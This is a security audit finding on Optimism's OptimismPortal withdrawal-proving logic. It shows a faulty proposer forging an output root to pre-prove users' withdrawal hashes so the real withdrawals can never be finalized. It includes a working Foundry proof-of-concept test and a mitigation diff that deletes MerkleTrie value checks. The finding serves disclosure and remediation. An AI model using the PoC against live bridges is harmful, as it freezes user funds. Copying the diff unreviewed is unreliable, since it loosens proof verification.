Allarious

high

# Proposer can submit a faulty proof on L1 and avoid transactions from getting finalized on-chain

## Summary
Proposer in the system has the ability to propose outputs via `proposeL2Output`. This helps the validation on-chain to make sure that a transaction was submitted to `L2toL1Messenger`. In the case where an output is faulty and does not match the actual L2 state, the challenger steps in and slashes the faulty proposer, taking some or all of his staked amount (probably in future updates). If a proposer misbehaves, it is expected to have no side-effects in the long term as there is a 7 days challenging period.

However, there is a way where the proposer can block any certain transaction from getting finalized on L1 chain, therefore locking all of the amounts on L2. Proposer will get caught by the challenger but it would be too late since the propose of the faulty state and blocking the target transaction can happen in one transaction by the dishonest proposer atomically. While proposer gets slashed, this is an extremely dangerous attack, where any amount of withdrawal and any number of transactions with funds can be locked!

## Vulnerability Detail
The expected flow for a withdrawal transaction is as follow, a transaction is mined in an L2 block (sent to the sequencer or triggered via another deposit transaction on chain), the state of the `L2toL1Messenger` is sent to `L2OutputOracle`, and the transaction gets proven on L1, allowing the user to finalize and execute the transaction after the `FINALIZATION_PERIOD_SECONDS` which is currently 7 days.

The code snippet below from `proveWithdrawalTransaction`, is supposed to allow users to prove their transaction in two cases:
(1) Where the transaction has not been proven before.
(2) Where the transaction has been proven, but the `CHALLENGER` deleted the outputs to a certain index before the related output state.

```solidity
        require(
            provenWithdrawal.timestamp == 0 ||
                (_l2OutputIndex == provenWithdrawal.l2OutputIndex &&
                    outputRoot != provenWithdrawal.outputRoot),
            "OptimismPortal: withdrawal hash has already been proven"
        );
```
https://github.com/ethereum-optimism/optimism/blob/3f4b3c328153a8aa03611158b6984d624b17c1d9/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L194-L199

However, it does not take into account if a transaction that is being proved for the first time, is actually sent by **a faulty output, a faulty proposer, and in a blockheight that the transaction is not included be the sequencer yet!**. This means that a faulty proposer can do the following attack:

(1) - Finds out about a transaction that is going to be included on the L2 chain soon, and try to build its transaction hash by guessing the nonce, or it can just repeat this attack for as many nonces as he wants in one transaction, this allows a proposer to actually construct the hash of a transaction. If the proposer and sequencer are the same, this attack would cost much less!
(2) - Makes a list of txHashes he wants to attack, these transactions might be the same kind of transaction with possible nonce, or different transactions.
(3) - Forge the state of `L2toL1Messenger`, where the list of transactions are marked as `true` in `sentMessages` storage. Then he can retrieve the output that relates to that state.
(4) - Commit the forged storage output to the `L2OutputOracle`.
(5) - Prove all of the txHashes transactions on-chain via `proveWithdrawalTransaction`. (atomically with the previous transaction)

At this point the attack is done! All the transactions in the txHashes are proven while they are not in a block on L2 chain at all! The flow however, will continue:

(6) The challenger quickly finds the faulty proposer, deleting the outputs until the faulty output.
(7) An honest proposer steps in and proposes a correction over the previous l2OutputBlocks, submitting the correct roots.
(8) Transactions finally land on the L2 chain. **This attack only works for the transactions that get included at least on the next set of checkpoints**. While checkpoints are updated regularly, this attack has a high chance to succeed.
(9) Transactions try to prove themselves for the second time on chain (they were already proven once by the attacker), but they can't. According to the code snippet below, their proof should be in the `_l2OutputIndex` submitted by the dishonest proposer. While when they try to submit their transaction on the `_l2OutputIndex` storage root, since their transactions did not exist on the L2 chain by that time, will receive an error from the verification section by `SecureMerkleTrie.verifyInclusionProof` seen below:
```solidity
        require(
            SecureMerkleTrie.verifyInclusionProof(
                abi.encode(storageKey),
                hex"01",
                _withdrawalProof,
                _outputRootProof.messagePasserStorageRoot
            ),
            "OptimismPortal: invalid withdrawal inclusion proof"
        );
```
https://github.com/ethereum-optimism/optimism/blob/3f4b3c328153a8aa03611158b6984d624b17c1d9/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L215-L223

And if they try to submit the transactions with the `_l2OutputIndex` that has their transactions, it will fail because their `_l2OutputIndex` is different than the `_l2OutputIndex` submitted by the attacker.

- How can the transactions be seen by the proposer? For withdrawals initiated from L1, the proposer can monitor the Ethereum's mempool and see the incoming transactions before their inclusion even on L1. If the sequencer is malicious as well, they have access to all the L2 messages, therefore locking any transaction they desire. Also, sequencer can make sure that the L2 transactions land at least one checkpoint later, where the attack is successful.
- How can attacker guess the nonce? The `msgNonce` in `L2ToL1MessagePasser` gets updated by each withdrawal from L2 to L1. An attacker can see the current amount of nonce, and block the sent transactions for all the future nonce. If the proposer and sequencer are both malicious, then the proposer can exactly guess the inclusion hash while sequencer makes sure the targeted nonce includes the said transaction.
- How many transactions can be attacked by the proposer? Proposer can grief as many transaction as he desires before the challenger challenges his outputRoot submitted on L1.
- What if the challenger decides not to challenge such state to prevent the attack? In that case, the proposer can submit some transaction hashes that are beneficial for him on L1, basically giving himself an immense power on L1. If the challenger doesn't challenge the state, attacker can run all of those transactions.
- What if the honest proposer submit the tx hash in an earlier block than its inclusion? In this case, the derivation process of L2 from L1 can not be done without extra information.

## Impact
The impact would be, since the transactions get mined on L2 in the future, any funds send to the `L2toL1Messenger` will be burnt for good without no outcome! This means that the **liveness** of the network is no longer guaranteed by the protocol and can be hacked by attacker proposers.
This is a big threat for assets on L2, as they can be burnt by a faulty proposer in case they want to withdraw from the chain. It should be mentioned again that the transactions on L2 should be included after `_l2OutputIndex` submitted by the attacker, this is more dangerous for the withdrawals generating from the L1, since they need some time to be picked up by the nodes (SWS window) and the L1 itself. The proposer can attack as many transactions as he wants as far as the block limit allows before he is challenged, therefore, he can either guess many nonces for the same transaction, or attack many transactions, or even a combination of both!

The impact goes way higher when **the proposer is teamed up with the sequencer**, this means that the same actor, can exactly know the nonces, and can make sure they land on the block after some checkpoint while enabling the attacker to attack withdrawals that originate from L2. Optimism decides to start off by delegating the sequencer and the proposer to the same trusted entity, this means that as long as this attack exists, users should trust the Optimism entities instead of owning their own collateral on L2.

## Code Snippet
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;


import "../L1/L2OutputOracle.sol";
import "../L1/OptimismPortal.sol";
import "../libraries/trie/SecureMerkleTrie.sol";

import "../libraries/Types.sol";
import "../libraries/Hashing.sol";

import "forge-std/Test.sol";

contract PoC is Test {

    address public proposer;
    address public challenger;
    address public user;

    uint256 constant public startTime = 1000;
    uint256 constant public startBlock = 100;
    uint256 constant public submissionInterval = 10;
    uint256 constant public l2BlockTime = 2;

    L2OutputOracle l2OutputOracle;
    OptimismPortal optimismPortal;


    function setUp() public {

        proposer = mkaddr("proposer");
        challenger = mkaddr("challenger");
        user = mkaddr("user");

        vm.warp(startTime);
        vm.roll(10);

        l2OutputOracle = new L2OutputOracle(
                    submissionInterval,
                    l2BlockTime,
                    startBlock,
                    startTime,
                    proposer,
                    challenger
        );

        optimismPortal = new OptimismPortal(
            l2OutputOracle,
            7 days
        );
    }

    function test_faultyProposer() public {
        address sender = mkaddr("sender");
        address target = mkaddr("target");

        uint256 nonce = 10;
        uint256 bigValue = 1e28;
        uint256 bigGasLimit = 3e6;

        bytes memory data = "";

        /**
         * This is the withdrawl transaction made by a user in the system, that wants to do a withdraw from L2 to L1
         * For the purpose of this attack, let's imagine it is a big transaction that is trying to move a big value
         */
        Types.WithdrawalTransaction memory _tx = Types.WithdrawalTransaction({ // A big transaction that is seen on-chain or any way
            nonce: nonce, // Nonce is either guessed or bruteforced by the dishonest proposer
            sender: sender,
            target: target,
            value: bigValue,
            gasLimit: bigGasLimit,
            data: data
        });


        /**
         * For simplicity, let's find the root that only the transaction above is sent to L2toL1Messenger
         * There are no other transactions accepted by the trie
         */
        // (
        //     bytes32 stateRoot,
        //     bytes32 storageRoot,
        //     bytes32 outputRoot,
        //     bytes32 withdrawalHash,
        //     bytes[] memory withdrawalProof
        // ) = ffi.getProveWithdrawalTransactionInputs(_tx);

        // root -> 0x707dc2cd507b6a212ee1aa8b1002ce12713c19fa3863eaf1ccd32462b837c66d
        // proof -> [E3A120716882ad40d154007b30379ec07f5477c2ea9309fc8e9238db225995b53dd5da01]
        // tx_hash -> 0xee5f6788e6d1e3e35913c5b3707cdcb96e8cdd15ad680392437533be759efd94
        // key -> 716882ad40d154007b30379ec07f5477c2ea9309fc8e9238db225995b53dd5da

        bytes[] memory proof = new bytes[](1);
        proof[0] = hex"E3A120716882ad40d154007b30379ec07f5477c2ea9309fc8e9238db225995b53dd5da01";
        bytes32 messagePasserStorageRoot = bytes32(0x707dc2cd507b6a212ee1aa8b1002ce12713c19fa3863eaf1ccd32462b837c66d);
        
        /**
         * Below, you can find the outputRootProof of the transaction above
         * version, stateRoot and latestBlockhash do not matter for this test, as long as they are the same for
         * both l2OutputOracle and passed to the withdraw
         */
        Types.OutputRootProof memory outputRootProof = Types.OutputRootProof({
            version: bytes32("0x1"),
            stateRoot: bytes32("0x1"),
            messagePasserStorageRoot: messagePasserStorageRoot,
            latestBlockhash: bytes32("0x1")
        });
        bytes32 outputRoot =  Hashing.hashOutputRootProof(outputRootProof);

        // No proposals are made to the l2OutputOracle yet
        assertEq(l2OutputOracle.nextOutputIndex(), 0);

        /**
         * At this point, the transaction is not yet sent to L2toL1Messenger by the user, however, proposer
         * is faking a state where the transaction was already sent to the messenger, to preform a DoS only for that transaction
         */
        address attackerProposer = proposer;
        vm.startPrank(attackerProposer);
        vm.warp(startTime + submissionInterval * l2BlockTime + 1);
        l2OutputOracle.proposeL2Output( // This is a faulty output provided by the prospoer
            outputRoot,
            startBlock + submissionInterval, // l2BlockNumber, should be starting + interval
            bytes32(0), // does not matter
            10 // does not matter
        );
        optimismPortal.proveWithdrawalTransaction( // Here, the transaction that should not be submitted is submitted anyways!
            _tx,
            0, // since it should point to the first proof
            outputRootProof,
            proof
        );
        vm.stopPrank();

        /**
         * At this point, the attack is basically done!
         * The attacker submitted a proof for the transaction that is not sent yet!
         * Proposer can get challenged and it will rever l2OutputOracle, but the effects on provenWithdrawls will remain
         */

        assertEq(l2OutputOracle.nextOutputIndex(), 1);

        // Let's say the challenger finds out about the  missbehavious and revert the l2OutputOracle
        vm.prank(challenger); // Challenger sees that there is no tx sent to the L2toL1Messenger for the l2BlockNumber yet and challenges the output
        l2OutputOracle.deleteL2Outputs(0);

        assertEq(l2OutputOracle.nextOutputIndex(), 0);


        /**
         * After the challenge, a new honest proposer will try to submit the correct root for the previous l2 blocks.
         * Since the transaction was not sent yet for the checkpoint at index 0 of the l2Outputs, outputroot
         * at index zero does not have a transaction with the above tx's hash set as true
         */
        Types.OutputRootProof memory dummyOutputRootProof = Types.OutputRootProof({ // We are not going to check the content of this, just as a dummy for index 0 of l2OutputOracle
            version: bytes32("0x1"),
            stateRoot: bytes32("0x1"),
            messagePasserStorageRoot: bytes32("0x1"),
            latestBlockhash: bytes32("0x1")
        });
        bytes32 dummyOutputRootHash = Hashing.hashOutputRootProof(dummyOutputRootProof);

        vm.warp(startTime + 2 * submissionInterval * l2BlockTime + 1);

        address honestProposer = proposer;
        // The honest proposer submits the root for both outputs at the same time
        // If the honest tries to set the tx's transaction to true at the outputIndex 0
        // the challenger can again challenge the state since that is not the correct state for 
        // that block height
        vm.startPrank(honestProposer); // Imagine another proposer comes and acts honestly
        l2OutputOracle.proposeL2Output( // This is a faulty output provided by the proposer
            dummyOutputRootHash,
            startBlock + submissionInterval, // l2BlockNumber
            bytes32(0),
            10
        );
        
        l2OutputOracle.proposeL2Output( // Now the _tx is included on the l2 chain
            outputRoot, // This time, the output root that is related to the tx is checkpointed one interval later
            startBlock + 2 * submissionInterval, // l2BlockNumber
            bytes32(0),
            10
        );
        vm.stopPrank();

        
        vm.startPrank(user); // Now the user wants to prove his transaction after the commitment is included

        /**
         * Now that the transaction is included at output index 1, and the tx hash is previously proven 
         * at index 0 output, the user can no longer prove the output
         */
        vm.expectRevert(); // FAIL. Reason: OptimismPortal: withdrawal hash has already been proven
        optimismPortal.proveWithdrawalTransaction( // Does not run because the attacker already proven a faulty withdrawl
            _tx,
            1,
            outputRootProof,
            proof
        );

        vm.warp(8 days);

        /**
         * Also the user can not finalize the withdrawl on the L1 since protocol is blocking the transaction out
         */
        vm.expectRevert(); // FAIL. Reason: OptimismPortal: output root proven is not the same as current output root
        optimismPortal.finalizeWithdrawalTransaction(_tx); // Does not run since the output root is different than the one that the transaction is proven with!

        vm.stopPrank();

        /**
         * At this point, the transaction can neither be proven or finalized by the user
         * no matter how much time goes by, the transaction is included on L2, but un-redeemable on L1
         * the value of bigValue and bigGasLimit are effectively gone!
         */
    }

    function mkaddr(string memory name) public returns (address) {
        address addr = address(uint160(uint256(keccak256(abi.encodePacked(name)))));
        vm.label(addr, name);
        return addr;
    }
    function getStorageKey(bytes32 _hash) public pure returns(bytes32){
        return keccak256(
            abi.encode(
                _hash,
                uint256(0) // The withdrawals mapping is at the first slot in the layout.
            )
        );
    }

    function getTrieKey(bytes32 _hash) public pure returns(bytes memory){
        return abi.encodePacked(
            keccak256(
                abi.encode(
                    getStorageKey(_hash)
                )
            )
        );
    }
}
```

## Tool used
Manual Review

## Recommendation
The mitigation of this issue can happen by allowing users to prove that a certain transaction **did not exist** at a certain `_l2OutputIndex`. This means that if a proposer tries to front-run another user at a certain block height, the user still has the power to prove that the first prove was only valid based on an invalid output. To implement this, first, the Trie needs to provide the functionality that allows users to show that a variable was false based on an output and a proof. While the diff is provided below, it might take more work and would consume more time as it adds a new functionality.
```solidity
@@ -138,10 +138,6 @@ library MerkleTrie {
                     // even when the value wasn't explicitly placed there. Geth treats a value of
                     // bytes(0) as "key does not exist" and so we do the same.
                     bytes memory value = RLPReader.readBytes(currentNode.decoded[TREE_RADIX]);
-                    require(
-                        value.length > 0,
-                        "MerkleTrie: value length must be greater than zero (branch)"
-                    );
 
                     // Extra proof elements are not allowed.
                     require(
@@ -191,10 +187,6 @@ library MerkleTrie {
                     // say that if the value is empty, the key should not exist and the proof is
                     // invalid.
                     bytes memory value = RLPReader.readBytes(currentNode.decoded[1]);
-                    require(
-                        value.length > 0,
-                        "MerkleTrie: value length must be greater than zero (leaf)"
-                    );
 
                     // Extra proof elements are not allowed.
                     require(
```
This only allows the function to return 0 values instead of throwing error. Extra caution should be taken, user might be able to prove the non-existance of some value with a faulty proof, ultimately allowing attackers to reset the proofs of users. (this shouldn't be possible as the hashes are checked with every proof in every step of the loop)
Second, [this check](https://github.com/ethereum-optimism/optimism/blob/3f4b3c328153a8aa03611158b6984d624b17c1d9/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L194-L199) should allow the users that provide the above proof to pass.
```solidity
--- a/optimism/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol
+++ b/optimism/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol
@@ -161,7 +161,9 @@ contract OptimismPortal is Initializable, ResourceMetering, Semver {
         Types.WithdrawalTransaction memory _tx,
         uint256 _l2OutputIndex,
         Types.OutputRootProof calldata _outputRootProof,
-        bytes[] calldata _withdrawalProof
+        Types.OutputRootProof calldata _previousProve, // needed if proving the non-existance
+        bytes[] calldata _withdrawalProof,
+        bytes[] calldata _noneExistanceProof // needed if proving the non-existance
     ) external {
         // Prevent users from creating a deposit transaction where this address is the message
         // sender on L2. Because this is checked here, we do not need to check again in
@@ -181,10 +183,29 @@ contract OptimismPortal is Initializable, ResourceMetering, Semver {
             "OptimismPortal: invalid output root proof"
         );
 
+        bytes32 previousOutputRoot;
+        if(_previousProve.messagePasserStorageRoot > bytes(0)){
+            previousOutputRoot = L2_ORACLE.getL2Output(_l2OutputIndex).outputRoot;
+            require(
+                previousOutputRoot == Hashing.hashOutputRootProof(_previousProve),
+                "OptimismPortal: invalid output root proof"
+            );
+        }
+
         // Load the ProvenWithdrawal into memory, using the withdrawal hash as a unique identifier.
         bytes32 withdrawalHash = Hashing.hashWithdrawal(_tx);
         ProvenWithdrawal memory provenWithdrawal = provenWithdrawals[withdrawalHash];
 
+        // Compute the storage slot of the withdrawal hash in the L2ToL1MessagePasser contract.
+        // Refer to the Solidity documentation for more information on how storage layouts are
+        // computed for mappings.
+        bytes32 storageKey = keccak256(
+            abi.encode(
+                withdrawalHash,
+                uint256(0) // The withdrawals mapping is at the first slot in the layout.
+            )
+        );
+
         // We generally want to prevent users from proving the same withdrawal multiple times
         // because each successive proof will update the timestamp. A malicious user can take
         // advantage of this to prevent other users from finalizing their withdrawal. However,
@@ -194,20 +215,20 @@ contract OptimismPortal is Initializable, ResourceMetering, Semver {
         require(
             provenWithdrawal.timestamp == 0 ||
                 (_l2OutputIndex == provenWithdrawal.l2OutputIndex &&
-                    outputRoot != provenWithdrawal.outputRoot),
+                    outputRoot != provenWithdrawal.outputRoot)
+                    ||
+                    (_l2OutputIndex > provenWithdrawal.l2OutputIndex &&
+                    _previousProve.messagePasserStorageRoot > bytes(0) &&
+                    SecureMerkleTrie.verifyInclusionProof(
+                    abi.encode(storageKey),
+                    hex"00",
+                    _noneExistanceProof,
+                    _previousProve.messagePasserStorageRoot
+                    )),
+                    
             "OptimismPortal: withdrawal hash has already been proven"
         );
 
-        // Compute the storage slot of the withdrawal hash in the L2ToL1MessagePasser contract.
-        // Refer to the Solidity documentation for more information on how storage layouts are
-        // computed for mappings.
-        bytes32 storageKey = keccak256(
-            abi.encode(
-                withdrawalHash,
-                uint256(0) // The withdrawals mapping is at the first slot in the layout.
-            )
-        );
-
         // Verify that the hash of this withdrawal was stored in the L2toL1MessagePasser contract
         // on L2. If this is true, under the assumption that the SecureMerkleTrie does not have
         // bugs, then we know that this withdrawal was actually triggered on L2 and can therefore
```

The second option is to not allow anyone to prove a value until a certain time has passed, and reduce the time between prove and finalize. (e.g. can prove 3.5 days after the output is submitted, and allow to finalize 3.5 days after the proof is provided)

The third option is allowing the challenger to remove proofs that are related to an output which is not a good idea! Since it gives the challenger the power of deleting correct proofs as well.